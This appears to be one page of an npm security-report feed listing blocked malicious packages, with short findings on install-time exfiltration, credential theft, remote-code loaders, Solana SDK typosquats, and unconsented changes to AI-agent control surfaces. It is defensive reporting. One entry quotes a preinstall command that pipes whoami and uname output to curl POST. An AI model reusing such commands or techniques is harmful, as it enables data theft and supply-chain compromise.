npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 658
Updated 27 Oct 2026, 16:38 UTC. Ordered by latest scan.
This is concealed, automatic host-data exfiltration at install/import time, unrelated to the advertised utilities.
Concrete obfuscated host-metadata collection and DNS exfiltration run automatically at install and import. The exported utilities do not justify this hidden beacon.
This is more than a benign scanner primitive: source confirms remotely supplied executable hook replacement in a broad AI-agent control surface, plus interception and concealment of agent...
The unconditional postinstall download of an unsigned executable from an unrelated C2-named host is concrete malicious payload staging, despite no execution call in the inspected source.
This is a concrete unconsented npm install-time mutation of multiple foreign AI-agent control surfaces, which meets the block policy. No separate exfiltration chain is needed for this ver...
Source confirms credential harvesting and remote transmission of app secrets and renewable personal tokens, initiated silently after an adjacent authorization workflow. This is concrete c...
Direct source inspection confirms concrete unconsented postinstall mutation of a foreign/broad AI-agent control surface. The opt-out does not establish user consent.
The source establishes a concrete postinstall-to-service-to-OpenClaw-mutation chain. Under the firewall policy, this requires blocking even though the code frames the changes as plugin cl...
This is concrete default-on data exfiltration of rich application content to a hardcoded third-party endpoint, not merely ordinary local component behavior. No install-time execution was...
Source establishes concrete runtime credential exfiltration to an unrelated host. Absence of lifecycle hooks limits install-time impact but does not mitigate the active runtime behavior.
OpenSSF/OSV malware advisory MAL-2026-10457 blocks this version. cktool-core is the unscoped public-registry form of the private-scoped @apple/cktool.core package. Installers whose resolv...
OpenSSF/OSV malware advisory MAL-2026-10457 blocks this version. cktool-core is the unscoped public-registry form of the private-scoped @apple/cktool.core package. Installers whose resolv...
The package is a staged remote-code-execution loader, not a normal icon fetcher. The absence of lifecycle hooks limits automatic activation but does not remove the concrete runtime attack...
This is a concrete remote-code-execution loader unrelated to the documented mutex functionality. Lack of lifecycle hooks does not mitigate execution when the exported API is called.
OpenSSF/OSV malware advisory MAL-2026-10989 blocks this version. package.json declares scripts.preinstall as `node./dist/index.d.js`, which runs automatically on `npm install`. dist/index...
OpenSSF/OSV malware advisory MAL-2026-10972 blocks this version. package.json declares a preinstall lifecycle script that runs `echo "$(whoami): $(uname -a)" | curl -X POST` against a har...
OpenSSF/OSV malware advisory MAL-2026-10972 blocks this version. package.json declares a preinstall lifecycle script that runs `echo "$(whoami): $(uname -a)" | curl -X POST` against a har...
OpenSSF/OSV malware advisory MAL-2026-10965 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. requestor-util@99.9.1 is a hollow wrapper (empty ind...
OpenSSF/OSV malware advisory MAL-2026-11007 blocks this version. On npm install, package.json scripts.postinstall runs test.js, which invokes routines in index.js that (1) walk the curren...
OpenSSF/OSV malware advisory MAL-2026-10905 blocks this version. The package name suggests a Windows build helper utility, but no concrete behavioral evidence is available to confirm or r...
OpenSSF/OSV malware advisory MAL-2026-5560 blocks this version. Package masquerades as the official @solana/web3.js SDK (name solana-web3-community, author 'Solana Labs Maintainers <maint...
OpenSSF/OSV malware advisory MAL-2026-10898 blocks this version. The package's bundled entry points (lib/index.cjs.js and lib/index.esm.js) co-locate require('child_process'), fetch/POST/...
OpenSSF/OSV malware advisory MAL-2026-10904 blocks this version. Package name closely mirrors the widely-used @solana/web3.js Solana SDK while being published under an unrelated, unscoped...
OpenSSF/OSV malware advisory MAL-2026-10899 blocks this version. Package name 'solana-web3-fixed' resembles a fix-branded variant of the legitimate '@solana/web3.js' library, a pattern fr...
OpenSSF/OSV malware advisory MAL-2026-10901 blocks this version. Package name 'solana-web3-lts' resembles the widely-used '@solana/web3.js' Solana SDK, raising name-confusion concerns for...